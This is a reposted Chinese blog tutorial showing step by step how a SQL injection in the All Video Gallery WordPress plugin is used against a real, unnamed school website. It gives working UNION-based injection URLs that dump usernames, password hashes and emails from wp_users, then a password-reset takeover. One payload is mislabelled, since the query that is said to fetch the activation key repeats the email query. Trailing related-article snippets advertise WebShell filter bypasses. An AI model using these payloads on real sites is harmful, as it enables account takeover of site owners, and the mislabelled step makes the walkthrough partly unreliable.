实战演示黑客如何利用SQL注入漏洞攻破一个WordPress网站

news/2024/5/9 14:31:19/文章来源:https://blog.csdn.net/li0531/article/details/17788105

 

 

实战演示黑客如何利用SQL注入漏洞攻破一个WordPress网站

前几天微软skype的官方博客网站被黑客突破,虽然很快进行了修复,但从网友截屏的图片来看,应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。微软skype的官方博客使用的是WordPress平台,Wordpress目前是世界上最流行的博客平台,市场占有率高达70%,这次攻击事件虽然牵涉到wordpress,但并不能说明wordpress平台很脆弱,事实上脆弱的是wordpress上多达百万的各种第三方插件,这些插件的质量良莠不齐,如果你使用错误的插件,没有及时更新到最新版本,那你的wordpress网站就会成为黑客的目标。

All Video Gallery就是这样的一个典型例子。早在2012年6月份就有安全网站公布这个插件的1.1版有严重的安全漏洞,但我今天还是很轻松的使用谷歌搜到了仍然使用这个有漏洞的插件的网站。本文就是要以这个网站为靶子,给大家实战讲解黑客是如何利用sql注入技术攻破一个网站的。

school

这个网站看起来像是印度或巴基斯坦的某个公立学校的网站。我不想在这里透露这个网站的真实地址,如果你也想实战一下,可以自己架设一个wordpress网站,安装上这个有安全漏洞的插件。如果你真的有兴趣想看看这个网站、非恶意的,请关注我的微薄 @外刊IT评论,和我私信联系。

SQL注入的基本原理

sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是http://xxx.com/list.php?customID=3,我们推理,这样页面的后台处理的sql应该是这样的:

select * form custom_order where custom_id = {$_GET['customID']}

按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按这样的参数拼装成的sql就成了这样:

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。

All Video Gallery插件的漏洞简介

安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。

WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。

获取超级管理员用户名

为了获取用户表中的用户名,我们注入的sql是这样的:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

user-name

获取超级管理员邮件地址

我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。

要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

user-email

重置管理员密码

WordPress的后台登陆地址是http://xxx.com/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。

wp-login

这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

active-key

有了激活码,我们就可以拼装出装置密码的地址了:

http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

利用这个地址进入重置密码页面:

reset

总结

我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。

 

 

http://www.aqee.net/how-to-hack-a-wordpress-site-using-sql-injection/

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_846852.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站流量统计nbsp;cnzz

统计网站的流量数据什么的,我之前没接触过,但是白哥给了我四个字母,就大体明白了原理,嘿嘿 步骤如下第一步去http://www.cnzz.com/注册一个账号(他提示你用阿里云邮箱,我注册了两次很慢,还得用手…

配置云服务器远程连接,IIS安装发布网站

注意事项 1、注意云服务器的防火墙是否关闭,端口是否打开。 2、注意云服务器是否增加,入站规则。 3、注意云服务器控制台实例里面的安全组的规则端口。 远程连接服务器 连接前 1.WinR 2.运行:regedit 3.在注册表依次打开项: HKE…

简单静态网站源码_基于Spring Boot 2.x的后端管理网站脚手,源码免费分享

基于Spring Boot 2.x 的 Material Design 的后端管理网站脚手架 :提供权限认证 用户管理 菜单管理 操作日志 等常用功能去繁就简 重新出发基于Spring Boot 集成一些常用的功能,你只需要基于它做些简单的修改即可。功能列表:权限认证权限管理用…

网页左侧导航栏点击怎么显示右侧内容_营销型网站首页怎么设计?

营销型网站建设网站导航栏的设计一般网站首页最上面的左侧会固定显示LOGO,紧接着在其右边,便是我们要讲的网站的导航了。通常来说,网站的导航栏主要是给用户表达这个网站基础的栏目页面分类,便于用户更加方便的查找自己需要的信息…

python登录网站脚本_Python爬虫之用脚本登录Github并查看信息

前言分析目标网站的登录方式 目标地址:https://github.com/login 登录方式做出分析: 第一,用form表单方式提交信息, 第二,有csrf_token, 第三 ,是以post请求发送用户名和密码时,需要第一次get请…

长尾词推广系统推荐乐云seo_如何进行长尾关键词优化

今天李木seo在这里和大家来说说关于长尾关键词优化的那些事?一个 SEO 做得成功的网站,80%的流量应该来源于长尾关键词,长尾广泛分布于网站的标签、文章、专题等页面,最多的还是文章页,通常一篇文章就是一个…

自动生成网站的工具

​对大部分同学来说,有自己的网站是很酷的事情。我还记得自己第一次亲手搭建个人博客时,真的是满满的成就感! 但不得不说,随着技术的发展和开源,如今现成的东西实在太多了!想要拥有个人网站,基本…

开发在线编程网站

前言初学者学习编程语言时,通常需要安装编程语言对应的环境,以Python为例,要学习Python,你就需要下载Python解释器并安装到本地,对于没有编程经验的人而言,这一步难倒了很多人,所以很多编程学习…

mysql投票网站_ThinkPHP5+jQuery+MySql实现投票功能

这篇文章主要介绍了ThinkPHP5jQueryMySql实现投票功能,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下ThinkPHP5jQueryMySql实现投票功能,先给大家展示下效果图,如果大家感觉效果不错&#x…

站点html标贴验证,SEO优化之详解百度站点验证

原标题:SEO优化之详解百度站点验证最近有不少SEO新手同学问,百度站点验证怎么搞?。SEO新手问这样的问题也不算奇怪。作为一名“SEO老司机”不懂得如何做百度站点验证,显然是说不过去的。今天就来跟大家聊聊关于“百度站点验证”的那点事。什…

php网站安全狗绕过,绕过网站安全狗拦截,上传Webshell技巧总结 | 附免杀PHP一句话...

原标题:绕过网站安全狗拦截,上传Webshell技巧总结 | 附免杀PHP一句话*本文原创作者:1_2,本文属FreeBuf原创奖励计划,未经许可禁止转载这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法。思路是&#xff…

百度关键词抓取工具_SEO:想提升关键词排名?你还缺一份seo优化大全

文 | 公关之家 作者:Leon360kSEO工具是网站进行搜索引擎优化过程中提升工作效能与准确性的多种辅助程序。这些工具与优化者者的智慧若用于积极方向,将会为网站的优化提供较大的助力,尤其是使用先进算法的工具会为优化者们更准确的决策参考与指…

ngrok内网穿透映射使用与注册 让外网访问你的网站

一、ngrok安装,使用与注册 1、先打开ngrok注册页面www.ngrok.com,进入sign up 后,发现注册报错,无法正常注册; 2、我们再打开一个界面www.github.com,点击注册,这次可以成功,注意再…

大型网站架构之分布式消息队列

以下是消息队列以下的大纲,本文主要介绍消息队列概述,消息队列应用场景和消息中间件示例(电商,日志系统)。 本次分享大纲 消息队列概述消息队列应用场景消息中间件示例JMS消息服务常用消息队列参考(推荐&a…

网站架构第一篇

Web发展历程 CS时代:富客户端方案。卖软件可以赚钱。 QQ,影音,游戏 Web 1.0时代:主要是单向信息的发布。互联网内容是由少数编辑人员定制的,用户只有看的权限 三大门户网站:新浪、网易、搜狐。 Web 2.0时代…

python 3 爬取某小说网站小说,注释详细

目标:每一个小说保存成一个txt文件 思路:获取每个小说地址(图一),进入后获取每章节地址(图二),然后进入获取该章节内容(图三)保存文件中。循环 效果图&#…

如何用自己电脑做服务器,绑定域名建一个个人网站

使用自己的电脑,下载一个tomcat服务器,并将域名解析到本机,这样就可以发布自己的网站了。不过,关机之后网站便登不上去了。这样做只是为了我们可以更好的开发调试自己的工程,网站上线之后可以让更多的朋友帮你找bug。这…

Android 学习论坛博客及网站推荐

一、博客推荐 1)http://blog.csdn.net/android_tutor(Android开发入门基础,高级进阶) 2)http://blog.csdn.net/hellogv(入门与提高,很多例子值得学习) 3)http://www.c…

【2019.6.11可用】chrome提示“无法添加来自此网站的应用、扩展程序和应用脚本”的解决办法

目前亲测可行的方法有两种,个人推荐第一种。 第一种方法(推荐) 1、在chrome上右键,打开属性。 在目标里添加参数“ --enable-easy-off-store-extension-install”。注意--前加上一个空格 2、【重启浏览器!】打开chr…

猪八戒学做网站之HTML5篇(2):编写网页的工具

一杯清茶还没有喝完,小朱告诉我,他的网页做完了,惊得我下巴都快掉了。 我张大着嘴巴来到小朱的电脑前,看到了他完成的网页,完成情况好像还不错。各位可以看一下,他的网页的完成效果: 说实话&…